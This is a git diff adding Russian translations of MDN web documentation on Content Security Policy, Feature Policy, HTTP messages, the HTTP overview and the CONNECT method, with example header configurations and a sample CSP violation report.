В качестве альтернативы настройке сервера, вы можете сконфигурировать CSP с помощью элемента {{HTMLElement("meta")}}. Например, так: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

+ +

Угрозы

+ +

Межсайтовый скриптинг

+ +

Основная цель создания CSP заключается в устранении XSS атак и сборе данных об их попытках. XSS атаки используют доверие браузера к контенту, полученному с сервера. Зловредные скрипты исполняются в браузере жертвы, поскольку браузер доверяет источнику, даже когда скрипт поставляется не оттуда, откуда кажется.

+ +

CSP дает возможность администраторам серверов снизить или полностью устранить вектора, по которым злоумышленники могут провести XSS, с помощью определения доменов, которые браузер клиента должен считать доверенными источниками исполняемых скриптов. В таком случае, браузер, совместимый с CSP, будет исполнять только те скрипты, которые были получены из списка разрешенных источников, и игнорировать прочие (в т.ч. встраиваемые скрипты и обработчики событий, указанные непосредственно в HTML-атрибутах).

+ +

В качестве крайней меры защиты, сайты, которые хотят запретить исполнение скриптов, могут настроить это поведение глобально, с помощью соответствующей опции.

+ +

Пакетный сниффинг

+ +

В дополнение к ограничению количества доверенных доменов, с которых разрешается получать контент, можно также ограничить список используемых протоколов; например (в идеале и это крайне желательно с точки зрения обеспечения безопасности), сервер может поставить ограничение на получение контента только по HTTPS. Завершенная стратегия защиты передачи данных должна включать в себя не только принуждение к использованию HTTPS, но также и пометку всех кук с помощью специального флага, а также перенаправление запросов с HTTP на HTTPS. Сайты также могут использовать {{HTTPHeader("Strict-Transport-Security")}} HTTP-заголовок, чтобы обеспечить подключение к ним браузеров только по защищенному каналу.

+ +

Использование CSP

+ +

Настройка  CSP включает в себя добавление на страницу HTTP-заголовка {{HTTPHeader("Content-Security-Policy")}} и его настройку в соответствии со списком доверенных источников, из которых пользователь может получать контент. Например, страница, на которой происходит загрузка и отображение изображений может разрешать их получение из любых источников, но ограничить отправку данных формы конкретным адресом. При правильной настройке, Content Security Policy поможет защитить страницу от атак межсайтового скриптинга. Данная статья описывает как правильно настроить необходимые заголовки и примеры, как это сделать.

+ +

Определение политики

+ +

Вы можете начать настройку {{HTTPHeader("Content-Security-Policy")}} с определения HTTP-заголовка и указания какую политику использовать:

+ +
Content-Security-Policy: policy
+ +

Где policy - это строка, содержащая директивы, описывающие вашу Content Security Policy.

+ +

Создание политики

+ +

Политика описывается с помощью специальных директив, каждая из которых отвечает за отдельный вид ресурсов или policy area. Политика обязательно должна содержать директиву {{CSP("default-src")}}, которая будет использоваться для тех ресурсов, для которых не будет описано отдельных правил (полный список вы можете найти в описании директивы {{CSP("default-src")}}). Для того чтобы предотвратить исполнение встраиваемых скриптов и заблокировать использование eval(), необходимо определить директиву {{CSP("default-src")}} или {{CSP("script-src")}}. Также использование директивы {{CSP("default-src")}} или {{CSP("style-src")}} позволит ограничить использование встраиваемых стилей как в style-атрибутах, так и в тэгах {{HTMLElement("style")}}.

+ +

Примеры: Распространённые случаи применения

+ +

В данном разделе приводятся наиболее распространенные сценарии использования CSP.

+ +

Пример 1

+ +

Вы хотите ограничить источники контента только исходным сервером (исключая поддомены)

+ +
Content-Security-Policy: default-src 'self'
+ +

Пример 2

+ +

Вы хотите разрешить получение контента с доверенного домена и всех его поддоменов (доверенный домен не обязательно должен совпадать с тем, на котором настраиваются CSP.)

+ +
Content-Security-Policy: default-src 'self' *.trusted.com
+ +

Пример 3

+ +

Вы хотите разрешить пользователям приложения вставлять в создаваемый ими контент картинки из любого источника, но при этом ограничить источники аудио- и видео-файлов списком доверенных провайдеров. Получение скриптов должно происходить только с конкретного сервера, содержащего доверенный код.

+ +
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com
+ +

При такой настройке, весь контент доступен для получения только с исходного домена, со следующими исключениями:

+ + + +

Пример 4

+ +

Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет прослушивать запросы:

+ +
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
+ +

При данной настройке сервер будет позволять загрузку страниц только по HTTPS и только из одного источника - onlinebanking.jumbobank.com.

+ +

Пример 5

+ +

Для просмотра писем в почтовом клиенте вы хотите разрешить использование HTML внутри письма, а также позволить загрузку изображений из любых источников, но запретить использование любого JavaScript-кода и прочий потенциально опасный контент.

+ +
Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *
+ +

Заметьте, что в настройке политики отсутствует директива {{CSP("script-src")}}; при такой настройке CSP при загрузке скриптов будут использоваться настройки, определяемые директивой {{CSP("default-src")}}, следовательно все скрипты могут быть загружены только с исходного домена.

+ +

Тестирование настройки политики

+ +

Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.

+ +

Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:

+ +
Content-Security-Policy-Report-Only: policy
+ +

В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке Content-Security-Policy будут применены, в то время как политики, описанные в заголовке Content-Security-Policy-Report-Only, создадут отчеты, но применены не будут.

+ +

Настройка отправки отчетов

+ +

По умолчанию, отправка отчетов не производится.  Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:

+ +
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
+ +

Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.

+ +

Синтаксис отчета о происшествиях

+ +

Объект отчета в формате JSON содержит следующие поля:

+ +
+
blocked-uri
+
URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.
+
+ +
+
disposition
+
Принимает значения "enforce" или "reporting" в зависимости от того, какой заголовок используется {{HTTPHeader("Content-Security-Policy-Report-Only")}} или Content-Security-Policy.
+
document-uri
+
URI страницы, на которой произошло нарушение.
+
effective-directive
+
Директива, исполнение которой привело к нарушению.
+
original-policy
+
Исходная политика, описываемая в заголовке Content-Security-Policy.
+
referrer
+
Реферер, который привел к нарушению.
+
script-sample
+
Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.
+
status-code
+
The HTTP status code of the resource on which the global object was instantiated.
+
violated-directive
+
Директива, которая была нарушена.
+
+ +

Пример отчета о происшествии

+ +
Возьмём страницу, расположенную по адресу http://example.com/signup.html. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с cdn.example.com.
+ +
+
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
+
+ +
HTML-код страницы signup.html выглядит следующим образом:
+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Sign Up</title>
+    <link rel="stylesheet" href="css/style.css">
+  </head>
+  <body>
+    ... Content ...
+  </body>
+</html>
+ +
Можете заметить ошибку? CSS разрешено загружать только с cdn.example.com, в то время как веб-сайт пытается загрузить его используя основной домен (http://example.com). Браузер поддерживающий CSP отправит отчёт о нарушении политики в POST-запросе к http://example.com/_/csp-reports в момент обращения к странице (signup.html):
+ +
{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}
+ +

Как видите, отчёт включает полный путь к ресурсу нарушающему политику в blocked-uri. Правда, это не всегда так. К примеру, когда signup.html попытается загрузить CSS с http://anothercdn.example.com/stylesheet.css, браузер не будет включать полный путь, а ограничится лишь доменом (http://anothercdn.example.com). Спецификация CSP поясняет это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах

+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.csp")}}

+ +

Для некоторых версий Safari существует специфическая невсовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашеваемого источника, так и из внешних источников.

+ +

Смотрите также:

+ + diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html new file mode 100644 index 0000000000..c97e13a4e5 --- /dev/null +++ b/files/ru/web/http/feature_policy/index.html @@ -0,0 +1,149 @@ +--- +title: Feature Policy +slug: Web/HTTP/Feature_Policy +translation_of: Web/HTTP/Feature_Policy +--- +
{{SeeCompatTable}}{{HTTPSidebar}}
+ +

Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.

+ +

Краткое описание

+ +

Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим ваб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.

+ +

С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.

+ +

Примеры того, что можно сделать с заголовком Feature Policy:

+ + + +

Concepts and usage

+ +

Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.

+ +

For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.

+ +

Writing a policy

+ +

A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.

+ +

Specifying your policy

+ +

Feature Policy provides two ways to specify policies to control features:

+ + + +

The primary difference between the HTTP header and the allow attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.

+ +

For more details see Using Feature Policy.

+ +

Types of policy-controlled features

+ +

Though Feature Policy provides control of multiple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors.

+ +

The general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. Newly introduced features may have an explicit API to signal the state. Existing features that later integrate with Feature Policy will typically use existing mechanisms. Some approaches include:

+ + + +

The current set of policy-controlled features fall into two broad categories:

+ + + +

Best practices for good user experiences

+ +

There are several policy-controlled features to help enforce best practices for providing good performance and user experiences.

+ +

In most cases, the policy-controlled features represent functionality that when used will negatively impact the user experience. To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. Best practices are then enforced by using policies that disable the policy-controlled features. For more details see "Enforcing best practices for good user experiences".

+ +

The features include:

+ + + +

Granular control over certain features

+ +

The web provides functionality and APIs that may have privacy or security risks if abused. In some cases, you may wish to strictly limit how such functionality is used on a website. There are policy-controlled features to allow functionality to be enabled/disabled for specific origins or frames within a website. Where available, the feature integrates with the Permissions API, or feature-specific mechanisms to check if the feature is available.

+ +

The features include:

+ + + +

Examples

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}{{Spec2('Feature Policy')}}Initial definition. Defines the {{httpheader('Feature-Policy')}} header. Directives are defined in the specs for the features they control. See individual directive pages for details.
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Feature-Policy")}}

+ +

See also

+ + diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html new file mode 100644 index 0000000000..bdf46e1be5 --- /dev/null +++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html @@ -0,0 +1,145 @@ +--- +title: Using Feature Policy +slug: Web/HTTP/Feature_Policy/Using_Feature_Policy +translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +--- +
+ +
{{HTTPSidebar}}
+ +
+ +

Функциональная политика позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется  в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.

+ +

Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. 

+ +

Описание полититки

+ +

Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается достук к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.

+ +

список доступа

+ +

Список доступа - это список источников происхождения, которые принимают одно или несколько следующих значений, разделяемых пробелом:

+ + + +

Значение * (доступность функциональности для всех источников) или 'none' (не доступность функциональности для всех источников), можут использоваться только однократно, в то время как, значения 'self' и 'src' могут быть использованы с одним или несколькими источниками происхождения.

+ +

Каждая функциональность определяется со своим списком разрешений по умолчанию, который содержит одно из значений:

+ + + +

Определение политики

+ +

Функциональная политика предлагает два способа определения политик:

+ + + +

Основное отличие между заголовком  HTTP и атрибутом allow  в том, что атрибут определяет доступность функциональности для документов, загруженных в iframe. Заголовок же определяет доступность функциональности в документе и вложенных в него контекстах, направляющимся в ответе на HTTP(S) запрос.

+ +

Заголовок HTTP

+ +

Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.

+ +
Feature-Policy: <имя функциональности> <список разрешенных источников>
+ +

К примеру, для блокировки функциональности API геолокации по всему сайту:

+ +
Feature-Policy: geolocation 'none'
+ +

Несколько функциональностей можно контролировать одновременно, отправив один HTTP заголовок, разделяющий точкой с запятой между собой список установочных директив, или отпраить отдельный заголовок для каждой установочной директивы.

+ +

К примеру, ниже директивы идентичны:

+ +
Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
+
+Feature-Policy: unsized-media 'none'
+Feature-Policy: geolocation 'self' https://example.com
+Feature-Policy: camera *;
+
+ +

атрибут  allow 

+ +

Второй способ использования функциональной политики - контроль использования функциональности в документе, загруженного в элемент  iframe. 

+ +

К примеру, для разрешения использования функциональности fullscreen для документа, загруженного в  iframe используем :

+ +
<iframe src="https://example.com..." allow="fullscreen"></iframe>
+ +

Эквивалентная запись:

+ +
<iframe src="https://example.com..." allow="fullscreen 'src'"></iframe>
+ +

Ниже, получаем доступ к геолокации пользователя документа, загруженного из указанного источника в <iframe> :

+ +
<iframe src="https://google-developers.appspot.com/demos/..."
+        allow="geolocation https://google-developers.appspot.com"></iframe>
+
+ +

Аналогично  HTTP заголовку, несколько функциональностей могут контролироваться одновременно, определяя, разделяемый точкой с запятой список установочных директив.

+ +

К примеру, блокируем  <iframe> для использования камеры и микрофона:

+ +
<iframe allow="camera 'none'; microphone 'none'">
+
+ +

Наследование политики для встроенного контента

+ +

Контексты скриптов (.js) наследуют политику их браузерных контекстов, вне зависимости от их источника происхождения. Это значит, что скрипты документа высокого уровня наследуют политику основного документа..

+ +

Все фреймы наследуют политику своих родительских документов. Если фрейм имеет атрибут allow , политики родительского документа и атрибута комбинируются, используя наиболее ограничительную политику. Для включения функциональности для фрейма, его источник происхождения должен входить в списки доступа и родительского документа, и атрибута  allow.

+ +

Отключение функциональности в политике является односторонним. Если функциональность не доступна (отключена) для дочернего фрейма его родителем, дочерний фрейм не может это отменить, и ни его потомки.

+ +

Применение новейших решений для наилутшего пользовательского впечатления

+ +

Трудно создать веб сайт, который использует новейшие решения и предлагает отличную производительность. Со временем, эволюционируя, сайту может даже труднее обеспечивать наилутшие пользовательские впечатления. Используйте функциональные политики для определения новейших решений, и полагайтесь на современные браузеры в предотвращении негативных изменений.

+ +

Существуют несколько функциональных политик, спроектированных для предоставления функциональности, но которые могут негативно влиять на впечатления пользователя. Ими являются:

+ + + +

Для исключения поломки веб контента, значения по умолчанию для таких функциональных политик, позволяют функциональности быть использованной для всех источников происхождения. То есть, списком разрешений по умолчанию является '*' для каждой функциональности. Предотвращение использования неоптимальной функциональности, требует явного определения политики, которая отключает функциональности.

+ +

Для нового контента можно начать разработку с политикой, которая отключает все функциональности. Такой подход гаранитрует, что ни одна из функциональностей не включена. При применении политики для существующего контента, тестирование работы наиболее желательный вариант для ожидаемой проверки работоспособности. Это особенно важно для встроенных или сторонних контентов, которых разработчик не может контролировать.

+ +

Для включения правоприменения всех новейших решений, определяется политика ниже.

+ +

Отправляйте следующий HTTP заголовок:

+ +
Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';
+ +

Используя атрибут allow элемента <iframe>:

+ +
<iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe>
+ +

Смотри так же:

+ + diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html new file mode 100644 index 0000000000..2cbcb5bc68 --- /dev/null +++ b/files/ru/web/http/index.html @@ -0,0 +1,105 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - 'l10n:priority' + - Веб + - Справка +translation_of: Web/HTTP +--- +

{{HTTPSidebar}}

+ +

Протокол передачи гипертекста (Hypertext Transfer Protocol - HTTP) - это прикладной протокол для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической клиент-серверной модели, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это протокол без сохранения состояния, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол транспортного уровня с гарантированной доставкой.

+ +
+
+

Учебники

+ +

Узнайте, как использовать HTTP, благодаря учебникам и руководствам.

+ +
+
Обзор HTTP
+
Основные свойства клиент-серверного протокола: что можно сделать и для чего он предназначен.
+
HTTP-кэширование (HTTP Cache)
+
Кэширование - это важнейший инструмент для повышения производительности веб-сайтов. Эта статья описывает разные виды кэша, а также использование HTTP-заголовков для конфигурации и управления кэшированием.
+
HTTP-куки (HTTP cookies)
+
Как работают куки, можно почитать в RFC 6265. При обслуживании HTTP-запроса сервер может отправить в ответе HTTP-заголовок Set-Cookie. После этого значение куки посылается клиентом с каждым запросом к этому серверу. Делается это в форме заголовка запроса Cookie. Дополнительно можно указать истечение срока куки, а так же ограничения для специфического домена или пути.
+
+ +
+
Контроль доступа (совместное использование ресурсов между разными источниками, HTTP access control (CORS))
+
Межсайтовые HTTP-запросы (кросс-сайтовые) - это HTTP-запросы к ресурсам, находящимся в домене, отличающемся от того, с которого производится запрос. Например, HTML-страница, загружаемая с домена А (http://domaina.example), запрашивает изображение с домена Б (http://domainb.foo), используя тег img (http://domainb.foo/image.jpg). Это происходит постоянно в мире веба: страницы загружают различные ресурсы в кросс-сайтовой манере, включая стили (CSS), изображения, скрипты и другие ресурсы. CORS позволяет разработчикам сайтов контролировать межсайтовые запросы.
+
+ +
+
Эволюция HTTP
+
Краткое описание изменений, произошедших в HTTP, начиная с самых ранних версий, заканчивая новой HTTP/2 и далее.
+
Принципы веб-безопасности Mozilla
+
Сборник советов для помощи в разработке защищённых веб-приложений.
+
HTTP-сообщения (HTTP Messages)
+
Описывает тип и структуру разных видов сообщений HTTP/1.x и HTTP/2.
+
Обычный сеанс HTTP
+
Показывает и описывает течение обычного сеанса HTTP.
+
Управление подключениями в HTTP/1.x
+
Описывает три модели управления подключениями, доступными в HTTP/1.x, их сильные и слабые стороны.
+
Контроль предварительной загрузки DNS (Controlling DNS prefetching)
+
Firefox, как и большинство других браузеров, выполняет предварительную загрузку DNS (DNS prefetching). Это действие, когда браузеры превентивно выполняют разрешение доменных имён (получают имена доменов) для ссылок, по которым пользователь может перейти, а также для ссылок на ресурсы, такие как картинки, CSS,  JavaScript. Эта предварительная загрузка выполняется в фоновом режиме, так что вполне вероятно, что к моменту обращения к объектам в документе DNS уже получен. Это уменьшает задержки, когда, например, пользователь кликает на ссылку.
+
+
+ +
+

Справочники

+ +

Глубже изучите HTTP с помощью справочников и документации.

+ +
+
HTTP-заголовки (HTTP Headers)
+
Заголовки HTTP-сообщения используются для точного описания загружаемого ресурса или поведения сервера или клиента. Пользовательские заголовки можно добавить, используя X- префикс; другие перечислены в  IANA registry, содержание которого в свою очередь определено в RFC 4229. IANA так же поддерживает регистр предложенных новых HTTP-заголовков.
+
Методы HTTP-запроса
+
Различные операции, которые выполняются с HTTP: +
    +
  • {{HTTPMethod("GET")}}
    • +
  • {{HTTPMethod("POST")}}
    • +
  • {{HTTPMethod("OPTIONS")}}
    • +
  • {{HTTPMethod("DELETE")}}
    • +
  • {{HTTPMethod("TRACE")}}
    • +
  • {{HTTPMethod("PATCH")}}
    • +
  • другие
    • +
+  
+
Коды ответа (HTTP response codes)
+
Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.
+
Директивы CSP
+
Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.
+
+ +

Инструменты и ресурсы

+ +

Полезные инструменты и ресурсы для понимания и отладки HTTP.

+ +
+
Инструменты разработчика Firefox
+
Сетевой монитор
+
Mozilla Observatory
+
Проект, созданный в помощь разработчикам, системным администраторам и специалистам по безопасности для создания безопасных и надёжных сайтов.
+
RedBot
+
Инструмент для проверки кэширования заголовков.
+
Принципы работы современных веб-браузеров
+
Комплексная статья по внутренностям браузеров и потоку запросов через протокол HTTP. Это нужно понимать всем веб-разработчикам.
+
+
+
+ +

См. также

+ + + +

{{ languages( { "ja": "ja/HTTP"} ) }}

diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html new file mode 100644 index 0000000000..0aa51b52a1 --- /dev/null +++ b/files/ru/web/http/messages/index.html @@ -0,0 +1,147 @@ +--- +title: Сообщения HTTP +slug: Web/HTTP/Messages +tags: + - HTTP + - ВебМеханика + - Руководство +translation_of: Web/HTTP/Messages +--- +
{{HTTPSidebar}}
+ +

HTTP сообщения - это обмен данными между сервером и клиентом. Есть два типа сообщений: запросы, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера, и ответы от сервера.

+ +

Сообщения HTTP состоят из текстовой информации в кодировке ASCII, записанной в несколько строк. В HTTP/1.1 и более ранних версиях они пересылались в качестве обычного текста. В HTTP/2 текстовое сообщение разделяется на фреймы, что позволяет выполнить оптимизацию и повысить производительность.

+ +

Веб разработчики  не создают текстовые сообщения HTTP самостоятельно - это делает программа, браузер, прокси или веб-сервер. Они обеспечивают создание HTTP сообщений через конфигурационные файлы (для прокси и серверов), APIs (для браузеров) или другие интерфейсы.

+ +

From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.

+ +

Механизм бинарного фрагментирования в HTTP/2 разработан так, чтобы не потребовалось вносить изменения в имеющиеся APIs и конфигурационные файлы: он вполне прозрачен для пользователя.

+ +

HTTP запросы и ответы имеют близкую структуру. Они состоят из:

+ +
    +
  1. Стартовой строки, описывающей запрос, или статус (успех или сбой). Это всегда одна строка.
    2. +
  2. Произвольного набора HTTP заголовков, определяющих запрос или описывающих тело сообщения.
    3. +
  3. Пустой строки, указывающей, что вся мета информация отправлена.
    4. +
  4. Произвольного тела, содержащего пересылаемые с запросом данные (например, содержимое HTML-формы ) или отправляемый в ответ документ. Наличие тела и его размер определяется стартовой строкой и заголовками HTTP.
    5. +
+ +

Стартовую строку вместе с заголовками сообщения HTTP называют головой запроса, а его данные - телом.

+ +

Requests and responses share a common structure in HTTP

+ +

Запросы HTTP

+ +

Стартовая строка

+ +

HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:

+ +
    +
  1. +

    Метод HTTP, глагол (например, {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}}) или существительное (например,  {{HTTPMethod("HEAD")}} или {{HTTPMethod("OPTIONS")}}), описывающие требуемое действие. Например, GET указывает, что нужно доставить некоторый ресурс, а POST означает отправку данных на сервер (для создания или модификации ресурса, или генерации возвращаемого документа).

    +
    2. +
  2. Цель запроса, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть +
      +
    • Абсолютный путь, за которым следует '?' и строка запроса. Это самая распространенная форма, называемая исходной формой (origin form) . Используется с методами GET, POST, HEAD, и OPTIONS.
      + POST / HTTP 1.1
      + GET /background.png HTTP/1.0
      + HEAD /test.html?query=alibaba HTTP/1.1
      + OPTIONS /anypage.html HTTP/1.0
      • +
    • Полный URL - абсолютная форма (absolute form) , обычно используется с GET при подключении к прокси.
      + GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1
      • +
    • Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом ':'), называется authority form. Используется только с методом CONNECT при установке туннеля HTTP.
      + CONNECT developer.mozilla.org:80 HTTP/1.1
      • +
    • Форма звездочки (asterisk form), просто "звездочка" ('*') используется с методом OPTIONS и представляет сервер.
      + OPTIONS * HTTP/1.1
      • +
    +
    3. +
  3. Версия HTTP, определяющая структуру оставшегося сообщения, указывая, какую версию предполагается использовать для ответа.
    4. +
+ +

Заголовки

+ +

Заголовки запроса HTTP имеют стандартную для заголовка HTTP структуру: не зависящая от регистра строка, завершаемая (':') и значение, структура которого определяется заголовком. Весь заголовок, включая значение, представляет собой одну строку, которая может быть довольно длинной.

+ +

Существует множество заголовков запроса. Их можно разделить на несколько групп:

+ + + + + +

Тело

+ +

Последней частью запроса является его тело. Оно бывает не у всех запросов: запросы, собирающие (fetching) ресурсы, такие как GET, HEAD, DELETE, или OPTIONS, в нем обычно не нуждаются. Но некоторые запросы отправляют на сервер данные для обновления, как это часто бывает с запросами POST (содержащими данные HTML-форм).

+ +

Тела можно грубо разделить на две категории:

+ + + +

Ответы HTTP

+ +

Строка статуса (Status line)

+ +

Стартовая строка ответа HTTP, называемая строкой статуса, содержит следующую информацию:

+ +
    +
  1. Версию протокола, обычно HTTP/1.1.
    2. +
  2. Код состояния (status code), показывающая, был ли запрос успешным. Примеры: {{HTTPStatus("200")}}, {{HTTPStatus("404")}} или {{HTTPStatus("302")}}
    3. +
  3. Пояснение (status text). Краткое текстовое описание кода состояния, помогающее пользователю понять сообщение HTTP..
    4. +
+ +

Пример строки статуса: HTTP/1.1 404 Not Found.

+ +

Заголовки

+ +

Заголовки ответов HTTP имеют ту же структуру, что и все остальные заголовки: не зависящая от регистра строка, завершаемая двоеточием (':') и значение, структура которого определяется типом заголовка. Весь заголовок, включая значение, представляет собой одну строку.

+ +

Существует множество заголовков ответов. Их можно разделить на несколько групп:

+ + + +

Example of headers in an HTTP response

+ +

Тело

+ +

Последней частью ответа является его тело. Оно есть не у всех ответов: у ответов с кодом состояния, например, {{HTTPStatus("201")}} или {{HTTPStatus("204")}}, оно обычно отсутствует.

+ +

Тела можно разделить на три категории:

+ + + +

Фреймы HTTP/2

+ +

Сообщения HTTP/1.x имеют несколько недостатков в отношении производительности:

+ + + +

HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.

+ +

HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.

+ +

Фреймы HTTP сейчас прозрачны для веб-разработчиков. Это дополнительный шаг, который HTTP/2 делает по отношению к сообщениям HTTP/1.1 и лежащему в основе транспортному протоколу. Для реализации фреймов HTTP веб-разработчикам не требуется вносить изменения в имеющиеся APIs; если HTTP/2 доступен и на сервере, и на клиенте, он включается и используется.

+ +

Заключение

+ +

Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.

diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html new file mode 100644 index 0000000000..755ffb6f10 --- /dev/null +++ b/files/ru/web/http/methods/connect/index.html @@ -0,0 +1,82 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +translation_of: Web/HTTP/Methods/CONNECT +--- +
{{HTTPSidebar}}
+ +

HTTP CONNECT method запускает двустороннюю связь с запрошенным ресурсом. Метод можно использовать для открытия туннеля.

+ +

К примеру, метод CONNECT может использоваться для доступа к сайту, который использует {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Клиент запрашивает HTTP-прокси-сервер для туннелирования TCP-соединения с желаемым назначением. За тем сервер переходит к подключению от имени клиента. После того, как соединение установлено сервером, прокси-сервер продолжает проксировать поток TCP к клиенту и от него.

+ +

CONNECT is a hop-by-hop method.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
